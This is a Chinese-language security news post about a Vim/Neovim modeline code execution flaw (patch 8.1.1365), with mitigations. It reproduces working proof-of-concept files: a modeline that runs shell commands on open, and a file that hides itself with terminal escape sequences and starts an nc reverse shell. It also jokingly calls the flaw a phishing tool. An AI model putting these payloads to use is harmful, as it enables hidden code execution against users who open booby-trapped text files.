猶記前些日子,微軟的記事本文本編輯器爆出了本地代碼執行漏洞。

Google Project Zero研究員Tavis Ormandy宣布在微軟的記事本文本編輯器中發現代碼執行漏洞。

可以看見,他在notepad(記事本)程序下啟動了一個cmd.exe

由於Ormandy是一名專業漏洞挖掘人員,並且還吸引了Zerodium的創始人出面評論,證實了黑客發現的問題類型並不罕見,因此也證實了該漏洞存在性極高。

而就在昨日,推上再現一則猛料,名為Arminius的安全研究員發現Vim/Neovim的本地代碼執行漏洞。。

作為linux的上古神器級的文本編輯器,就這樣曝任意代碼執行漏洞並且還被披露poc了!

附上了github鏈接。(閱讀原文跳轉)

github.com/numirias/sec

公布POC

第一種:

1、創建poc.txt

:!uname -a||" vi:fen:fdm=expr:fde=assert_fails("source! \%"):fdl=0:fdt="

2、確保未禁用modeline選項(:set modeline)

3、在vim中打開該txt

vim poc.txt

然後系統會執行 uname -a

第二種,創建反彈shell

該PoC描述了一種真實的攻擊方法,其中一旦用戶打開文件就啟動反彈shell。 為了隱藏攻擊,文件將在打開時立即重寫。

此外,當使用cat列印內容時,PoC使用終端轉義序列來隱藏命令行。

(而使用cat -v可以顯示實際內容。)

shell.txt:

x1b[?7lx1bSNothing here.x1b:silent! w | call system(
ohup nc 127.0.0.1 9999 -e /bin/sh &) | redraw! | file | silent! # " vim: set fen fdm=expr fde=assert_fails(set\ fde=x\ \|\ source\!\ \%) fdl=0: x16x1b[1Gx16x1b[KNothing here."x16x1b[D

ps:我不是故意用記事本打開的。

視頻演示

攻擊者是右邊,被攻擊者是左邊的機器

細節

命令行功能允許在文件的開頭或結尾附近指定自定義編輯器選項。

默認情況下啟用此功能並應用於所有文件類型,包括plain .txt。 一個典型的模式:

/* vim: set textwidth_=80 tabstop=8: */

出於安全原因,在modelines中只允許選項的子集,如果選項值包含表達式,則它在沙箱中執行:

出於安全原因,不支持除「set」之外的其他命令(有人可能會使用modelines創建特洛伊木馬文本文件。 並非所有選擇可以設定。 對於某些選項,設置了一個標誌,以便在使用時使用|沙盒| 是有效的。

github.com/vim/vim/blob

沙箱旨在防止副作用:

foldexpr,formatexpr,includeexpr,indentexpr,statusline和foldtext選項可以在沙箱中評估。 這意味著你是保護免受這些具有令人討厭的副作用的表達。 這給了一些從模式行設置這些選項時的安全性。

github.com/vim/vim/blob

但是,:source!命令(使用bang [ !]修飾符)可用於繞過沙箱。它從給定文件中讀取並執行命令,就像 手動鍵入,在沙箱離開後運行它們一樣。

:so[urce]! {file}

從{file}讀取Vim命令。 這些是命令從您正常模式執行,就像您輸入他們一樣。

github.com/vim/vim/blob

因此,可以簡單地構建一個在沙箱外部運行代碼的模式行:

# vim: set foldexpr=execute(:source! some_file):

Neovim還需要一個額外的步驟,即execute():

在這裡,assert_fails()也可以使用,也需要{cmd}參數:

以下模式行使用fold表達式來運行source! %以執行當前文件,該文件又uname -a || "(garbage)"作為shell命令執行:

:!uname -a||" vi:fen:fdm=expr:fde=assert_fails("source! \%"):fdl=0:fdt="

此外,僅Neovim功能nvim_input()易受相同方法的影響,例如:

vi:fen:fdm=expr:fde=nvim_input(":terminal uname -a"):fdl=0

(過去,其他與模式相關的漏洞已在Vim中修補 - 請參閱CVE-2002-1377,CVE-2016-1248。)

補丁(建議還是打一下)

  • Vim補丁8.1.1365 github.com/vim/vim/comm
  • Neovim補丁(在v0.3.6中發布)github.com/neovim/neovigithub.com/neovim/neovi

除了修補之外,建議在vimrc(set nomodeline)中禁用model,使用securemodelines 插件,或者禁用modelineexpr(因為補丁8.1.1366,僅限Vim)以禁用model中的表達式。

實際上,工具類的本地代碼執行漏洞也不止上面幾兄弟,像此前的linux的less工具同樣存在代碼執行漏洞

科普:less 工具是對文件或其它輸出進行分頁顯示的工具,應該說是linux正統查看文件內容的工具,功能極其強大。less 的用法比起 more 更加的有彈性。在 more 的時候,我們並沒有辦法向前面翻, 只能往後面看,但若使用了 less 時,就可以使用 [pageup] [pagedown] 等按鍵的功能來往前往後翻看文件,更容易用來查看一個文件的內容!除此之外,在 less 裡頭可以擁有更多的搜索功能,不止可以向下搜,也可以向上搜。

試試吧,釣魚利器,注意安全。

高度評估這個會用來大批量釣魚,我賭1個億。

感謝關注轉發點贊

轉載請註明來源,謝謝

<上期看點>

APT34武器再泄一枚

竊取KeyChain的MacOS漏洞EXP公開後,再爆可繞過Mac安全警告漏洞

Absolute公司防盜追蹤軟體到底存在什麼安全問題

黑鳥威脅情報中心,只做最正確的情報,不傳謠不信謠,歡迎掃碼持續關注。

點擊菜單欄,掃碼加入每日更新的知識星球(原價299,現價269)

跳水台都準備好了,不點個贊再走嗎

推薦閱讀:

相关文章